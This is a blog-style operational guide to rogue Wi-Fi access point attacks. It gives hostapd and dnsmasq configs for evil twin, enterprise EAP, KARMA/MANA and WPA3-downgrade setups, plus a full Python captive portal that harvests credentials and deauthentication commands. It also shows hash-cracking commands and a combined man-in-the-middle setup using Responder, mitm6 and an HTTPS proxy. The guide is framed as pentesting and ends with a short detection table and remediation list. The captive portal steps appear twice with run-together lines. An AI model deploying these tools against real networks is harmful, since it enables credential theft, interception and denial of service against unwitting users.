Hacking With Rogue Access Points (APs) (Guide)
- Biohazard

- 6 days ago
- 10 min read

Hacking With Rogue Access Points (APs)
Rogue APs are the most reliable wireless attack vector in corporate pentesting. Clients trust what they know, and they'll connect to an AP broadcasting the SSID they're looking for. Here's the full operational guide on hacking with rogue access points (APs).
The Attack Types
Rogue AP Type | What It Does | Best For |
Open Evil Twin | Same SSID, no encryption | Captive portal credential harvesting |
Enterprise Evil Twin | Same SSID, EAP/802.1X | Harvesting domain creds (hostapd-wpe) |
KARMA/MANA | Responds to all probe requests | Catching every device that walks past |
WPA2-PSK Evil Twin | Same SSID with PSK | Downgrade + handshake capture (WPA3→WPA2) |
Known Beacon | Broadcasts a known-previous SSID | Reconnecting devices that trust the network |
Captive Portal | Web auth that harvests creds | Phishing WiFi passwords, email creds, 2FA |
Hardware Setup
You need a card that supports AP mode and monitor mode simultaneously (two interfaces, or two cards).
Option A: Single Card (Virtual Interfaces)
Some chipsets support creating a monitor VIF alongside an AP VIF:
MT76x2U (Alfa AWUS036ACM) — yes, this works
AR9271 (Alfa AWUS036NHA) — yes, stable
RTL88x2AU — hit or miss, test first
bash
# Create monitor interface alongside the managed one
sudo iw dev wlan0 interface add wlan0mon type monitor
sudo ip link set wlan0mon up
Option B: Two Cards (Reliable)
Card 1: AP mode, runs hostapd or airbase-ng
Card 2: Monitor mode, handles deauth/capture
This is the production-reliable setup.
Option C: Built-in + USB
Built-in laptop WiFi: connects to internet (upstream)
USB WiFi adapter: runs the rogue AP
Setup 1: Open Evil Twin (Credential Harvesting)
The classic. Broadcast "CorpWiFi" or "GuestWiFi" with no encryption. Users connect, get a captive portal. Portal captures credentials.
Step 1: Create the AP with hostapd
bash
sudo apt install hostapd dnsmasq
# hostapd.conf
cat > rogue_open.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=CorpWiFi-Guest
hw_mode=g
channel=6
auth_algs=1 # Open system
wmm_enabled=1
EOF
# dnsmasq.conf (DHCP server for clients)
cat > dnsmasq_rogue.conf << 'EOF'
interface=wlan1
dhcp-range=10.0.0.50,10.0.0.150,12h
dhcp-option=3,10.0.0.1 # Gateway = us
dhcp-option=6,10.0.0.1 # DNS = us
address=/#/10.0.0.1 # Catch-all DNS — every domain resolves to us
no-resolv
log-queries
EOF
# Start
sudo ip addr add 10.0.0.1/24 dev wlan1
sudo ip link set wlan1 up
sudo hostapd rogue_open.conf &
sudo dnsmasq -C dnsmasq_rogue.conf
Step 2: Captive Portal
Any HTTP request redirects to your credential harvesting page.
python
#!/usr/bin/env python3
"""
Captive portal for rogue AP credential harvesting.
Intercepts all HTTP traffic, serves fake login page.
Captures credentials to file.
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import parse_qs, urlparse
import socket
import threading
import datetime
PORT = 80
LOG_FILE = "harvested_creds.txt"
LOGIN_PAGE = """
<!DOCTYPE html>
<html>
<head><title>WiFi Authentication Required</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body { font-family: Arial; background: #f0f0f0; display: flex;
justify-content: center; align-items: center; height: 100vh; margin:0; }
.box { background: white; padding: 30px; border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width:400px; width:100%; }
h2 { color: #333; margin-top:0; }
input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ddd;
border-radius: 4px; box-sizing: border-box; }
button { width: 100%; padding: 12px; background: #0078d4; color: white;
border: none; border-radius: 4px; font-size: 16px; cursor: pointer; }
button:hover { background: #005a9e; }
.logo { text-align: center; margin-bottom: 20px; font-size:48px; }
</style>
</head>
<body>
<div class="box">
<div class="logo">🔒</div>
<h2>WiFi Authentication Required</h2>
<p>Please enter your credentials to connect to this network.</p>
<form method="POST" action="/login">
<input type="text" name="username" placeholder="Username" required autofocus>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Connect</button>
</form>
</div>
</body>
</html>
"""
SUCCESS_PAGE = """
<!DOCTYPE html>
<html>
<head><title>Connected</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body { font-family: Arial; background: #f0f0f0; display: flex;
justify-content: center; align-items: center; height: 100vh; margin:0; }
.box { background: white; padding: 30px; border-radius: 8px; text-align: center;
box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
h2 { color: #28a745; }
</style>
</head>
<body>
<div class="box">
<h2>✓ Connected</h2>
<p>You are now connected. You may close this page.</p>
</div>
</body>
</html>
"""
class PortalHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
# Log to our file instead of stderr
pass
def log_cred(self, username, password, client_ip):
timestamp = datetime.datetime.now().isoformat()
entry = f"[{timestamp}] IP: {client_ip} | User: {username} | Pass: {password}"
print(f"\n[!] CREDENTIALS CAPTURED: {entry}")
with open(LOG_FILE, "a") as f:
f.write(entry + "\n")
def do_GET(self):
client_ip = self.client_address[0]
# Serve login page for any GET request
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(LOGIN_PAGE.encode())
def do_POST(self):
client_ip = self.client_address[0]
content_length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_length).decode("utf-8")
params = parse_qs(body)
username = params.get("username", ["UNKNOWN"])[0]
password = params.get("password", ["UNKNOWN"])[0]
self.log_cred(username, password, client_ip)
# Serve success page
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(SUCCESS_PAGE.encode())
def main():
print(f"""
╔══════════════════════════════════════╗
║ CAPTIVE PORTAL — ROGUE AP ║
║ Credentials → {LOG_FILE} ║
╚══════════════════════════════════════╝
""")
print(f"[*] Starting on port {PORT}")
print(f"[*] Redirect all DNS to this IP via dnsmasq")
print(f"[*] Press Ctrl+C to stop\n")
server = HTTPServer(("0.0.0.0", PORT), PortalHandler)
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] Shutting down...")
server.shutdown()
print(f"[*] Credentials saved to {LOG_FILE}")
if __name__ == "__main__":
main()
Step 3: Redirect All HTTP to Your Portal
bash
# iptables — capture all HTTP and send to your portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j DNAT \
--to-destination 10.0.0.1:80
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j DNAT \
--to-destination 10.0.0.1:80
Step 4: Deauth Clients From the Real AP
Now force clients off the legitimate network so they connect to yours:
bash
# Scan for the real AP
sudo airodump-ng wlan0mon
# Deauth all clients from the real CorpWiFi
sudo aireplay-ng -0 0 -a REAL_AP_MAC wlan0mon
# -0 0: unlimited deauth
# Or targeted: only specific clients
sudo aireplay-ng -0 5 -a REAL_AP_MAC -c CLIENT_MAC wlan0monStep 2: Captive Portal
Any HTTP request redirects to your credential harvesting page.
python
#!/usr/bin/env python3
"""
Captive portal for rogue AP credential harvesting.
Intercepts all HTTP traffic, serves fake login page.
Captures credentials to file.
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import parse_qs, urlparse
import socket
import threading
import datetime
PORT = 80
LOG_FILE = "harvested_creds.txt"
LOGIN_PAGE = """
<!DOCTYPE html>
<html>
<head><title>WiFi Authentication Required</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body { font-family: Arial; background: #f0f0f0; display: flex;
justify-content: center; align-items: center; height: 100vh; margin:0; }
.box { background: white; padding: 30px; border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width:400px; width:100%; }
h2 { color: #333; margin-top:0; }
input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ddd;
border-radius: 4px; box-sizing: border-box; }
button { width: 100%; padding: 12px; background: #0078d4; color: white;
border: none; border-radius: 4px; font-size: 16px; cursor: pointer; }
button:hover { background: #005a9e; }
.logo { text-align: center; margin-bottom: 20px; font-size:48px; }
</style>
</head>
<body>
<div class="box">
<div class="logo">🔒</div>
<h2>WiFi Authentication Required</h2>
<p>Please enter your credentials to connect to this network.</p>
<form method="POST" action="/login">
<input type="text" name="username" placeholder="Username" required autofocus>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Connect</button>
</form>
</div>
</body>
</html>
"""
SUCCESS_PAGE = """
<!DOCTYPE html>
<html>
<head><title>Connected</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body { font-family: Arial; background: #f0f0f0; display: flex;
justify-content: center; align-items: center; height: 100vh; margin:0; }
.box { background: white; padding: 30px; border-radius: 8px; text-align: center;
box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
h2 { color: #28a745; }
</style>
</head>
<body>
<div class="box">
<h2>✓ Connected</h2>
<p>You are now connected. You may close this page.</p>
</div>
</body>
</html>
"""
class PortalHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
# Log to our file instead of stderr
pass
def log_cred(self, username, password, client_ip):
timestamp = datetime.datetime.now().isoformat()
entry = f"[{timestamp}] IP: {client_ip} | User: {username} | Pass: {password}"
print(f"\n[!] CREDENTIALS CAPTURED: {entry}")
with open(LOG_FILE, "a") as f:
f.write(entry + "\n")
def do_GET(self):
client_ip = self.client_address[0]
# Serve login page for any GET request
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(LOGIN_PAGE.encode())
def do_POST(self):
client_ip = self.client_address[0]
content_length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_length).decode("utf-8")
params = parse_qs(body)
username = params.get("username", ["UNKNOWN"])[0]
password = params.get("password", ["UNKNOWN"])[0]
self.log_cred(username, password, client_ip)
# Serve success page
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(SUCCESS_PAGE.encode())
def main():
print(f"""
╔══════════════════════════════════════╗
║ CAPTIVE PORTAL — ROGUE AP ║
║ Credentials → {LOG_FILE} ║
╚══════════════════════════════════════╝
""")
print(f"[*] Starting on port {PORT}")
print(f"[*] Redirect all DNS to this IP via dnsmasq")
print(f"[*] Press Ctrl+C to stop\n")
server = HTTPServer(("0.0.0.0", PORT), PortalHandler)
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] Shutting down...")
server.shutdown()
print(f"[*] Credentials saved to {LOG_FILE}")
if __name__ == "__main__":
main()Step 3: Redirect All HTTP To Your Portal
bash
# iptables — capture all HTTP and send to your portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j DNAT \
--to-destination 10.0.0.1:80
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j DNAT \
--to-destination 10.0.0.1:80Step 4: Deauth Clients From The Real AP
Now force clients off the legitimate network so they connect to yours:
bash
# Scan for the real AP
sudo airodump-ng wlan0mon
# Deauth all clients from the real CorpWiFi
sudo aireplay-ng -0 0 -a REAL_AP_MAC wlan0mon
# -0 0: unlimited deauth
# Or targeted: only specific clients
sudo aireplay-ng -0 5 -a REAL_AP_MAC -c CLIENT_MAC wlan0monSetup 2: Enterprise Evil Twin (Domain Credential Harvesting)
This is the most devastating rogue AP attack in corporate environments. hostapd-wpe terminates EAP at the server-hello and harvests challenge/response material.
bash
sudo apt install hostapd-wpe
# Config
cat > rogue_eap.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=CorpWiFi
channel=11
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
EOF
# Launch
sudo hostapd-wpe rogue_eap.conf
What happens:
When a client connects, hostapd-wpe captures:
Username — in plaintext from the EAP identity response
Challenge/Response — MSCHAPv2 or EAP-PEAP inner credentials
NetNTLMv1 hash — crackable with hashcat
bash
# Output appears on stdout and in /usr/local/etc/hostapd-wpe/
# Format:
# username: jdoe
# challenge: a1b2c3d4...
# response: e5f6a7b8...
# Crack MSCHAPv2
hashcat -m 14000 mschapv2.hash /usr/share/wordlists/rockyou.txt
# Crack NetNTLMv1
hashcat -m 5500 netntlm.hash /usr/share/wordlists/rockyou.txt
Even better: Some clients auto-submit machine credentials when they see a known enterprise SSID. You get domain machine accounts without any user interaction.
Full Automation Script
bash
#!/bin/bash
# Rogue EAP — full automation
# Starts hostapd-wpe, dnsmasq, deauth loop
IFACE_AP="wlan1"
IFACE_MON="wlan0mon"
SSID="CorpWiFi"
CHANNEL="11"
REAL_BSSID="" # Fill in after recon
# Start EAP rogue AP
hostapd-wpe /path/to/rogue_eap.conf &
HOSTAPD_PID=$!
# DHCP/DNS for clients
ip addr add 10.0.1.1/24 dev $IFACE_AP
dnsmasq -i $IFACE_AP --dhcp-range=10.0.1.50,10.0.1.150,12h \
--dhcp-option=3,10.0.1.1 --dhcp-option=6,10.0.1.1 &
# Deauth from real AP (if BSSID known)
if [ -n "$REAL_BSSID" ]; then
while true; do
aireplay-ng -0 5 -a $REAL_BSSID $IFACE_MON
sleep 30
done &
fi
echo "[*] Rogue EAP running on $SSID"
echo "[*] Press Ctrl+C to stop"
wait $HOSTAPD_PIDSetup 3: KARMA / MANA - Catch Everything
KARMA responds "yes" to every probe request. A laptop walking past broadcasting "HomeWiFi" and "StarbucksWiFi" will connect to your rogue AP automatically if it sees a response to either.
hostapd-mana (Kali)
bash
sudo apt install hostapd-mana
cat > mana.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=1
# MANA/KARMA settings
mana_enable=1
mana_credout=/tmp/mana.creds
mana_eapsuccess=1
mana_wpe=1
EOF
sudo hostapd-mana mana.conf
What this does:
Probes for "HomeWiFi" → mana responds as "HomeWiFi"
Probes for "StarbucksWiFi" → mana responds as "StarbucksWiFi"
Probes for "CorpWiFi" → mana responds as "CorpWiFi" (with EAP)
Client connects to whatever it was looking for
Credentials logged to /tmp/mana.creds
BetterCap (Simpler KARMA)
bash
sudo bettercap -eval "
set wifi.ap.ssid FreeWiFi;
set wifi.ap.channel 1;
set wifi.karma.enabled true;
wifi.recon on;
wifi.ap on;
"Setup 4: Known Beacon Attack
Instead of responding to probes (KARMA), you broadcast beacons for SSIDs you've collected from probe requests:
bash
# 1. Collect probe requests from nearby devices
sudo airodump-ng wlan0mon --output-format csv -w probes
# Check probes-01.csv for SSIDs clients are searching for
# 2. Generate beacons for those SSIDs
sudo mdk4 wlan1 b -s 500 -c 1,6,11 -v probes.txt
# -s 500: transmit rate
# -c 1,6,11: channels
# -v probes.txt: SSID list
# 3. Or via hostapd with multiple BSS
# hostapd supports up to 8 virtual BSS with multi-SSID beaconingSetup 5: WPA3-to-WPA2 Downgrade Rogue AP
The target is a WPA3 Transition Mode network. You broadcast the same SSID as WPA2-only:
bash
cat > downgrade_ap.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=TargetWPA3Network
hw_mode=g
channel=6
wpa=2
wpa_passphrase=anypassword123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
EOF
sudo hostapd downgrade_ap.conf
# In another terminal: deauth from the real WPA3 AP
sudo aireplay-ng -0 0 -a REAL_WPA3_BSSID wlan0mon
# Clients reconnect to your WPA2 AP instead
# They complete a WPA2 handshake (which you capture)
# Crack the PSK with hashcat (mode 22000)
Clients don't get a TLS certificate mismatch warning because they never expected a certificate in the first place (PSK mode). This bypasses WPA3's brute-force protections entirely.
Setup 6: The Full Rogue AP Framework (EAPHammer)
For engagements where you need everything automated:
bash
git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer
./kali-setup
# Attack 1: Credential harvesting + captive portal
./eaphammer -i wlan1 --essid CorpWiFi --channel 6 \
--auth open --captive-portal --wpa 2
# Attack 2: EAP credential harvesting
./eaphammer -i wlan1 --essid CorpWiFi --channel 6 \
--auth wpa-eap --wpa 2
# Attack 3: KARMA
./eaphammer -i wlan1 --karma --mana
# Attack 4: Known beacon list
./eaphammer -i wlan1 --known-beacons --known-ssids ./ssid_list.txt
EAPHammer automates the deauth loop, captive portal, DNS hijacking, and credential logging in a single tool.
Setup 7: BLE/Bluetooth Rogue
Not WiFi, but the same concept in a different band:
bash
# Flipper Zero
Apps → Bluetooth → BLE Spam
# Select target device type
# Floods BLE advertisements
# Nearby devices that auto-connect to known BLE peripherals
# may connect to the Flipper
# GATTacker — BLE rogue peripheral
git clone https://github.com/securing/gattacker
cd gattacker
npm install
# ws-slave: mimics a BLE device
node ws-slave.js -d "iPhone" -s dae0
# central: connects to the target, replays the GATT server
# Harvests data the target device sendsThe Multi-Layer Attack
For maximum impact, combine rogue AP with other techniques:
bash
# Terminal 1: Rogue AP serving captive portal
sudo hostapd-mana mana.conf
# Terminal 2: DNS spoofing — specific domains to specific phishing pages
sudo python3 spoofer.py -i wlan1 --dns --redirect 10.0.0.1 \
-d login.microsoftonline.com \
-d accounts.google.com \
-d vpn.corp.local
# Terminal 3: Responder capturing NTLM hashes
sudo responder -I wlan1 -w -v -F
# Terminal 4: mitm6 for IPv6 DNS takeover
sudo mitm6 -i wlan1
# Terminal 5: Bettercap for HTTP/HTTPS transparent proxy
sudo bettercap -eval "http.proxy on; https.proxy on; net.sniff on"
# Terminal 6: Deauth from real APs
sudo aireplay-ng -0 0 -a REAL_CORP_AP wlan0mon
What you capture from this setup:
WiFi passwords (captive portal)
Email credentials (DNS spoof → phishing page)
NTLMv2 hashes (Responder)
Domain machine account hashes (mitm6 + WPAD)
HTTP traffic in cleartext (BetterCap)
Cookies and session tokens (BetterCap HTTPS proxy with user accepting cert warning)
Defense Testing - What The Blue Team Should Catch
Detection Signal | What to Check |
Sudden deauth flood | WIDS/WIPS should flag mass deauth packets |
Duplicate SSID on different channel | Wireless monitoring detects same ESSID on two BSSIDs |
New MAC broadcasting known SSID | MAC not in authorized AP list |
Open network with enterprise SSID name | "CorpWiFi" shouldn't be open |
Rogue DHCP server | DHCP snooping on switches, 802.1X on switch ports |
Certificate mismatch | Clients should validate RADIUS server certificate for EAP |
DNS sinkhole | DNS queries for known-good domains returning unusual IPs |
Captive portal detection | Endpoint checking for captive portal behavior (captive.apple.com, etc.) |
Reporting Template
markdown
## Finding: Rogue Access Point Attack Successful
**Attack Type**: [Open Evil Twin / Enterprise Evil Twin / KARMA / Downgrade]
**Target SSID**: CorpWiFi
**Rogue AP Hardware**: Alfa AWUS036ACM + hostapd-mana
**Duration of Attack**: [X] minutes
**Clients Connected**: [X] devices
**Credentials Harvested**:
- WiFi Pre-Shared Key: [password] (via captive portal)
- Domain Username: corp\jdoe (via hostapd-wpe EAP)
- NTLMv2 Challenge/Response: [crackable with hashcat]
- Email Credentials: jdoe@corp.com:Summer2025! (via phishing portal)
**Root Cause**:
- 802.11 management frames unauthenticated (no 802.11w/PMF)
- Clients not performing RADIUS server certificate validation
- No WIPS/WIDS deployment
- No 802.1X on wired ports (rogue AP could provide internet)
**CVSS**: 9.0 (AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
**Remediation**:
1. Enable 802.11w (Protected Management Frames) — prevents deauth
2. Deploy WIPS — detects rogue APs, deauth floods, duplicate SSIDs
3. Configure EAP clients for server certificate validation
4. Implement 802.1X on all switch ports to prevent unauthorized
DHCP/DNS/gateway
5. Enable Certificate Pinning for corporate SSIDs via MDM
6. Train users: never enter credentials into WiFi captive portals
they don't recognize



Comments